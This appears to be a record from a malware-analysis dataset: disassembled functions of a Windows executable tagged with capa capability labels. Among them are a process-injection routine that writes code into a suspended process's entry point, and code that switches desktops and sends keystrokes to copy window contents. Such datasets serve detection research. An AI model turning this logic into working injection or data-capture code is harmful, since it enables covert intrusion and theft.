joyce8/EMBER2024-capa huggingface dataset:
Function at 0x446944
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov esi, eax
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, esi
call fcn.00404898
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x446980
mov eax, edi
call fcn.0044405c
jmp 0x446aae
push 0
push 0
push 0
push 2
push 0
push edi
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
jne 0x4469a9
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
jmp 0x446aae
push 0
push 0
xor ecx, ecx
mov edx, 4
mov eax, esi
call fcn.00443db0
mov dword [esp], eax
cmp dword [esp], 0
jne 0x4469d7
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
jmp 0x446aae
mov eax, dword [esp]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
je 0x446a05
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x446aae
mov eax, dword [esp + 4]
mov edx, dword [esp + 4]
add eax, dword [edx + 0x3c]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
je 0x446a39
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x446aae
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
jne 0x446a95
mov eax, dword [esp + 8]
mov ax, word [eax + 0x18]
sub ax, 0x10b
je 0x446a5b
sub ax, 0x100
je 0x446a78
jmp 0x446a97
mov eax, dword [esp + 8]
mov ax, word [eax + 0x5c]
sub ax, 2
je 0x446a70
dec ax
je 0x446a74
jmp 0x446a97
mov bl, 2
jmp 0x446a97
mov bl, 3
jmp 0x446a97
mov eax, dword [esp + 8]
mov ax, word [eax + 0x5c]
sub ax, 2
je 0x446a8d
dec ax
je 0x446a91
jmp 0x446a97
mov bl, 4
jmp 0x446a97
mov bl, 5
jmp 0x446a97
mov bl, 1
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, ebx
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x446ab8
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov esi, eax
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, esi
call fcn.00404898
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x446af4
mov eax, edi
call fcn.0044405c
jmp 0x446bed
push 0
push 0
push 0
push 2
push 0
push edi
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
jne 0x446b1d
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
jmp 0x446bed
push 0
push 0
xor ecx, ecx
mov edx, 4
mov eax, esi
call fcn.00443db0
mov dword [esp], eax
cmp dword [esp], 0
jne 0x446b4b
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
jmp 0x446bed
mov eax, dword [esp]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
je 0x446b76
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x446bed
mov eax, dword [esp + 4]
mov edx, dword [esp + 4]
add eax, dword [edx + 0x3c]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
je 0x446baa
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x446bed
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
jne 0x446bd4
mov eax, dword [esp + 8]
mov ax, word [eax + 0x18]
sub ax, 0x10b
je 0x446bcc
sub ax, 0x100
je 0x446bd0
jmp 0x446bd6
mov bl, 2
jmp 0x446bd6
mov bl, 3
jmp 0x446bd6
mov bl, 1
mov eax, edi
call fcn.0044405c
mov eax, esi
call fcn.0044405c
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, ebx
add esp, 0xc
pop edi
pop esi
pop ebx
ret

Function at 0x44752c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebp, eax
mov eax, dword [esp]
call fcn.00404698
mov edi, eax
mov eax, dword [esp]
call fcn.00404698
mov esi, eax
test esi, esi
jle 0x447567
mov ebx, 1
mov eax, dword [esp]
movzx eax, byte [eax + ebx - 1]
xor edi, eax
inc ebx
dec esi
jne 0x447559
mov eax, dword [esp + 4]
mov edx, ebp
call fcn.00404410
mov eax, ebp
call fcn.00404698
mov esi, eax
test esi, esi
jle 0x44759d
mov ebx, 1
mov eax, dword [esp + 4]
call fcn.004048f0
mov edx, edi
xor dl, byte [ebp + ebx - 1]
not dl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x447584
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4475fc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x44], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
xor eax, eax
push ebp
push 0x4476ac
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004446c8
test al, al
je 0x44768e
lea eax, [ebp - 0x40]
mov edx, 0x3c
call fcn.00406f30
mov dword [ebp - 0x40], 0x3c
mov eax, dword [ebp - 4]
call fcn.00404898
mov dword [ebp - 0x30], eax
mov eax, ebx
call fcn.00404898
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.004089ec
mov eax, dword [ebp - 0x44]
call fcn.00404898
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x40]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x44768e
call sub.kernel32.dll_GetLastError
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4476b3
lea eax, [ebp - 0x44]
call fcn.004043bc
lea eax, [ebp - 4]
call fcn.004043bc
ret

Function at 0x4476bc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor esi, esi
or edi, 0xffffffff
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004030e4
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
call fcn.00404898
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
call fcn.00404898
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
call fcn.00404898
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x447764
mov eax, 1
call fcn.00443ad0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetExitCodeProcess
test bl, bl
je 0x447750
inc esi
cmp esi, 0x7530
jg 0x447759
cmp dword [ebp - 0x10], 0x103
je 0x44772c
mov eax, dword [ebp - 0x14]
call fcn.0044405c
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x447770
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
xor ebx, ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
mov eax, dword [ebp - 0xc]
call fcn.00404888
xor eax, eax
push ebp
push 0x4478d4
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x4477ea
push 0x4478ec
push dword [ebp - 4]
push 0x4478f8
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404758
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.0040810c
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404454
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406f30
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406f30
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
test ebx, ebx
je 0x447828
mov word [ebp - 0x30], 5
mov eax, ebx
call fcn.00404898
mov dword [ebp - 0x58], eax
jmp 0x44782e
mov word [ebp - 0x30], 0
cmp dword [ebp - 0xc], 0
jne 0x447864
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
push eax
call sub.kernel32.dll_CreateProcessA
jmp 0x447899
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404898
push eax
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
push eax
call sub.kernel32.dll_CreateProcessA
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 0xc], 0
je 0x4478ac
or edx, 0xffffffff
call fcn.00443fbc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4478db
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004043e0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004043e0
ret

Function at 0x448824
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
xor eax, eax
push ebp
push 0x4488d4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
mov edx, 0x3c
call fcn.00406f30
mov dword [ebp - 0x44], 0x3c
mov eax, dword [ebp - 4]
call fcn.00404898
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
call fcn.00404898
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 4]
call fcn.004089ec
mov eax, dword [ebp - 0x48]
call fcn.00404898
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x44]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4488b1
call sub.kernel32.dll_GetLastError
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4488db
lea eax, [ebp - 0x48]
call fcn.004043bc
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043e0
ret
Function at 0x448924
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
xor eax, eax
push ebp
push 0x4489d4
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4489af
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x20106
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
mov edx, eax
xor ecx, ecx
mov eax, ebx
call fcn.004445f0
test eax, eax
jne 0x44899d
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
call fcn.004445c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4489b9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4489db
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043e0
ret
Function at 0x44956c
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffff60
push ebx
xor edx, edx
mov dword [ebp - 0x109c], edx
mov dword [ebp - 0x10a0], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
xor eax, eax
push ebp
push 0x449749
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
mov eax, 8
call fcn.00448ad4
mov eax, 0x449760
call fcn.00444bb0
test al, al
jne 0x4495cf
mov eax, 0x449760
call fcn.0044457c
lea ecx, [ebp - 0x10a0]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.004466f4
mov ecx, dword [ebp - 0x10a0]
lea eax, [ebp - 0x109c]
mov edx, dword [ebp - 0xc]
call fcn.004046e4
mov edx, dword [ebp - 0x109c]
mov eax, 0x449770
call fcn.004447b8
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
call fcn.004402b4
lea eax, [ebp - 0x80]
mov edx, 0x44
call fcn.00406f30
lea eax, [ebp - 0x38]
mov edx, 0x10
call fcn.00406f30
mov dword [ebp - 0x80], 0x44
mov word [ebp - 0x50], 0
mov dword [ebp - 0x54], 1
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
mov ebx, eax
push ebx
push ebx
call sub.kernel32.dll_CreateProcessA_1
lea eax, [ebp - 0x10]
push eax
push 0x18
lea eax, [ebp - 0x98]
push eax
push 0
mov eax, dword [ebp - 0x38]
push eax
call sub.ntdll.dll_NtQueryInformationProcess
mov eax, dword [ebp - 0x94]
add eax, 8
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x24], eax
push 4
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
call fcn.004444bc
lea eax, [ebp - 0x1098]
xor ecx, ecx
mov edx, 0x1000
call fcn.004030e4
push 0x1000
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x1098]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
call fcn.004444bc
lea ecx, [ebp - 0x1098]
mov dword [ebp - 0x18], ecx
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
push 0xb10
lea eax, [ebp - 0x28]
push eax
mov ecx, 0x455984
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
call fcn.00444434
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449750
lea eax, [ebp - 0x10a0]
mov edx, 2
call fcn.004043e0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004043e0
ret
Function at 0x4497ec
Capabilities:
Log keystrokes

Disassembly:
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x41
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x41
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x41
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x41
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x43
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x43
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x43
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x43
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
ret

Function at 0x44a784
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x44a88d
push dword fs:[eax]
mov dword fs:[eax], esp
mov al, 1
call fcn.00433c50
mov dl, 1
mov eax, dword [0x4262b0]
call fcn.004298e0
mov dword [ebp - 4], eax
xor edx, edx
push ebp
push 0x44a878
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0044aba8
push 0
push 0
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, esi
mov eax, ebx
call fcn.00431510
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x58]
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x456520]
cmp byte [eax], 0
jne 0x44a7ee
mov eax, dword [0x45663c]
mov byte [eax], 1
lea eax, [ebp - 0x24]
push eax
push 0
lea eax, [ebp - 8]
push eax
mov ecx, 0x43158c
xor edx, edx
xor eax, eax
call fcn.00404370
mov ebx, eax
push 0x1770
push ebx
call sub.kernel32.dll_WaitForSingleObject
mov edx, dword [0x45663c]
mov byte [edx], 0
sub eax, 1
jae 0x44a852
mov ebx, dword [ebp - 0x24]
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [ebx + 4]
mov eax, dword [ebp + 8]
call fcn.004044ac
jmp 0x44a85a
push 0
push ebx
call sub.kernel32.dll_TerminateThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a87f
mov eax, dword [ebp - 4]
call fcn.00403698
mov eax, dword [ebp - 0x24]
call fcn.00403698
ret
Function at 0x44a998
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x120], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44ab73
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov dl, 1
mov eax, dword [0x415188]
call fcn.00403668
mov dword [ebp - 0xc], eax
mov dl, 1
mov eax, dword [0x415188]
call fcn.00403668
mov edx, dword [ebp + 8]
mov dword [edx - 4], eax
xor eax, eax
push ebp
push 0x44ab4e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
push 0x44a980
call sub.user32.dll_EnumWindows
mov eax, dword [ebp - 0xc]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x44ab2c
inc esi
xor ebx, ebx
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.00416088
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.004160ec
inc eax
jne 0x44ab24
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.00416088
push eax
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 0x120]
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.0040462c
mov eax, dword [ebp - 0x120]
mov edx, 0x44ab8c
call fcn.004047e4
jne 0x44aa86
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.00416088
mov dword [ebp - 8], eax
lea eax, [ebp - 0x124]
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.0040462c
mov edx, dword [ebp - 0x124]
mov eax, 0x44ab9c
call fcn.00404980
test eax, eax
jle 0x44aabd
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.00416088
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x44ab24
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44ab24
lea eax, [ebp - 0x11c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_GetWindowRect
test eax, eax
je 0x44ab24
mov dl, 1
mov eax, dword [0x4262b0]
call fcn.004298e0
mov edi, eax
mov cl, 1
mov edx, edi
mov eax, dword [ebp - 8]
call fcn.0044a8a0
push edi
mov eax, dword [ebp - 4]
call fcn.00429e3c
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x11c]
call fcn.00427964
mov eax, edi
call fcn.00403698
xor eax, eax
mov dword [ebp - 8], eax
inc ebx
dec esi
jne 0x44aa17
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ab55
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00403698
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov dword [eax - 4], edx
ret

Function at 0x44af9c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404888
xor eax, eax
push ebp
push 0x44afff
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x44b014
call fcn.004046a0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00404698
push eax
lea eax, [ebp - 4]
call fcn.004048f0
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b006
lea eax, [ebp - 4]
call fcn.004043bc
ret
Function at 0x44b018
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x44b021
mov eax, dword [ebp - 4]
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x44b0de
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004043bc
mov dword [ebp - 0xc], 0x7fff
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push ebx
call sub.kernel32.dll_PeekNamedPipe
cmp dword [ebp - 8], 0
jbe 0x44b0c8
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x800b]
push eax
push ebx
call sub.kernel32.dll_ReadFile
lea eax, [ebp - 0x800b]
push eax
lea eax, [ebp - 0x800b]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 4]
lea edx, [ebp - 0x800b]
mov ecx, 0x7fff
call fcn.004044ac
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.004049c8
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404410
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b0e5
lea eax, [ebp - 4]
call fcn.004043bc
ret
Function at 0x44b6a4
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x44b9a6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x458064]
push eax
call sub.user32.dll_SetThreadDesktop
mov bl, 1
mov edx, 0x44b9b8
xor eax, eax
call fcn.00444154
mov edi, eax
test edi, edi
jne 0x44b6ef
mov eax, 0x44b9d4
xor edx, edx
call fcn.00444154
mov edi, eax
test edi, edi
jne 0x44b70b
push 0x1770
call sub.kernel32.dll_Sleep_1
mov eax, 0x44b9d4
xor edx, edx
call fcn.00444154
mov edi, eax
test edi, edi
jne 0x44b727
push 0x1770
call sub.kernel32.dll_Sleep_1
mov eax, 0x44b9d4
xor edx, edx
call fcn.00444154
mov edi, eax
test edi, edi
jne 0x44b73c
mov eax, 0x44b9e4
call fcn.0043eea0
xor ebx, ebx
jmp 0x44b98b
mov eax, 0x44ba0c
call fcn.0043eea0
test edi, edi
je 0x44b98b
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 9
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 9
push 0x101
push edi
call sub.user32.dll_PostMessageA
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 9
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 9
push 0x101
push edi
call sub.user32.dll_PostMessageA
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 9
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 9
push 0x101
push edi
call sub.user32.dll_PostMessageA
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 0xd
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 0xd
push 0x101
push edi
call sub.user32.dll_PostMessageA
xor edi, edi
push 0x7d0
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x458064]
push eax
call sub.user32.dll_SetThreadDesktop
push 0x64
call sub.kernel32.dll_Sleep_1
mov dl, 1
mov eax, dword [0x415550]
call fcn.00403668
mov edx, dword [0x4566fc]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x415550]
call fcn.00403668
mov edx, dword [0x4565e8]
mov dword [edx], eax
xor esi, esi
push esi
push 0x430640
call sub.user32.dll_EnumWindows
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x44b855
mov eax, 0x44ba2c
call fcn.0043eea0
push 0x44ba48
mov eax, dword [0x4568ac]
push dword [eax]
lea edx, [ebp - 0xc]
mov eax, dword [0x4566fc]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push dword [ebp - 0xc]
mov eax, dword [0x4568ac]
push dword [eax]
push 0x44ba64
mov eax, dword [0x4568ac]
push dword [eax]
lea edx, [ebp - 0x10]
mov eax, dword [0x4565e8]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 7
call fcn.00404758
mov eax, dword [ebp - 8]
call fcn.0043eea0
jmp 0x44b98b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b9ad
lea eax, [ebp - 0x20]
mov edx, 7
call fcn.004043e0
ret
Function at 0x40728c
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40c558
mov eax, esi
mov edx, 8
test al, 1
je 0x4072a8
shr eax, 1
xor eax, 0xedb88320
jmp 0x4072aa
shr eax, 1
dec edx
jne 0x40729b
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x407294
pop esi
ret

Function at 0x4072d7
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40c554], 0
jne 0x4072e3
call fcn.0040728c
push 1
push 0x40c554
call fcn.00403df8
mov eax, edi
test esi, esi
je 0x40730e
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40c558]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x4072e9
mov eax, ebx
pop edi
pop esi
pop ebx
ret